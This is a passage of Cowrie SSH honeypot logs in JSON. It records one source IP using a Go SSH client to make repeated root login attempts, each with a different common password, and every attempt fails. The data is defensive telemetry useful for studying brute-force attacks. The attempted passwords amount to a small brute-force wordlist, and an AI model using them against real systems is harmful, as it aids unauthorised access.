19"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:17.326473Z","src_ip":"60.165.124.241","session":"1128bc53b6f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Merlin01","message":"login attempt [root/Merlin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:18.044305Z","src_ip":"60.165.124.241","session":"1128bc53b6f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:19.284321Z","src_ip":"60.165.124.241","session":"1128bc53b6f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56510,"dst_ip":"10.17.0.5","dst_port":22,"session":"b381b67ad263","protocol":"ssh","message":"New connection: 60.165.124.241:56510 (10.17.0.5:22) [session: b381b67ad263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:19.518340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:19.522070Z","src_ip":"60.165.124.241","session":"b381b67ad263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:19.762149Z","src_ip":"60.165.124.241","session":"b381b67ad263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gf@123456","message":"login attempt [root/Gf@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:20.480605Z","src_ip":"60.165.124.241","session":"b381b67ad263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:21.721581Z","src_ip":"60.165.124.241","session":"b381b67ad263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59366,"dst_ip":"10.17.0.5","dst_port":22,"session":"0db851abfa07","protocol":"ssh","message":"New connection: 60.165.124.241:59366 (10.17.0.5:22) [session: 0db851abfa07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:21.952717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:21.957685Z","src_ip":"60.165.124.241","session":"0db851abfa07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:22.196457Z","src_ip":"60.165.124.241","session":"0db851abfa07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@2025","message":"login attempt [root/Root@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:22.909301Z","src_ip":"60.165.124.241","session":"0db851abfa07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:24.148596Z","src_ip":"60.165.124.241","session":"0db851abfa07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34146,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba391004d1f2","protocol":"ssh","message":"New connection: 60.165.124.241:34146 (10.17.0.5:22) [session: ba391004d1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:24.384981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:24.389478Z","src_ip":"60.165.124.241","session":"ba391004d1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:24.631392Z","src_ip":"60.165.124.241","session":"ba391004d1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r5t6y","message":"login attempt [root/!Q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:25.352382Z","src_ip":"60.165.124.241","session":"ba391004d1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:26.594304Z","src_ip":"60.165.124.241","session":"ba391004d1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37182,"dst_ip":"10.17.0.5","dst_port":22,"session":"4993f2857286","protocol":"ssh","message":"New connection: 60.165.124.241:37182 (10.17.0.5:22) [session: 4993f2857286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:26.825441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:26.830209Z","src_ip":"60.165.124.241","session":"4993f2857286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:27.066485Z","src_ip":"60.165.124.241","session":"4993f2857286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WJEQ0#*cba","message":"login attempt [root/WJEQ0#*cba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:27.782514Z","src_ip":"60.165.124.241","session":"4993f2857286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:29.022120Z","src_ip":"60.165.124.241","session":"4993f2857286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39998,"dst_ip":"10.17.0.5","dst_port":22,"session":"e155f4526526","protocol":"ssh","message":"New connection: 60.165.124.241:39998 (10.17.0.5:22) [session: e155f4526526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:29.258429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:29.264529Z","src_ip":"60.165.124.241","session":"e155f4526526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:29.506249Z","src_ip":"60.165.124.241","session":"e155f4526526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2024","message":"login attempt [root/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:30.226130Z","src_ip":"60.165.124.241","session":"e155f4526526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:31.467710Z","src_ip":"60.165.124.241","session":"e155f4526526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43032,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e9bc7aa8b7d","protocol":"ssh","message":"New connection: 60.165.124.241:43032 (10.17.0.5:22) [session: 8e9bc7aa8b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:31.702046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:31.707296Z","src_ip":"60.165.124.241","session":"8e9bc7aa8b7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:31.945508Z","src_ip":"60.165.124.241","session":"8e9bc7aa8b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25251325","message":"login attempt [root/25251325] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:32.664501Z","src_ip":"60.165.124.241","session":"8e9bc7aa8b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:33.906109Z","src_ip":"60.165.124.241","session":"8e9bc7aa8b7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45898,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5658bdfc05b","protocol":"ssh","message":"New connection: 60.165.124.241:45898 (10.17.0.5:22) [session: a5658bdfc05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:34.158444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:34.166296Z","src_ip":"60.165.124.241","session":"a5658bdfc05b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:34.414156Z","src_ip":"60.165.124.241","session":"a5658bdfc05b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX2018","message":"login attempt [root/1qaz@WSX2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:35.162661Z","src_ip":"60.165.124.241","session":"a5658bdfc05b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:36.414158Z","src_ip":"60.165.124.241","session":"a5658bdfc05b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48860,"dst_ip":"10.17.0.5","dst_port":22,"session":"95b6f67c1b75","protocol":"ssh","message":"New connection: 60.165.124.241:48860 (10.17.0.5:22) [session: 95b6f67c1b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:36.641299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:36.646047Z","src_ip":"60.165.124.241","session":"95b6f67c1b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:36.884948Z","src_ip":"60.165.124.241","session":"95b6f67c1b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13701370","message":"login attempt [root/13701370] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:37.609785Z","src_ip":"60.165.124.241","session":"95b6f67c1b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:38.861209Z","src_ip":"60.165.124.241","session":"95b6f67c1b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52056,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9188cfafcd","protocol":"ssh","message":"New connection: 60.165.124.241:52056 (10.17.0.5:22) [session: bd9188cfafcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:39.109057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:39.116382Z","src_ip":"60.165.124.241","session":"bd9188cfafcd","protocol":"ssh"}
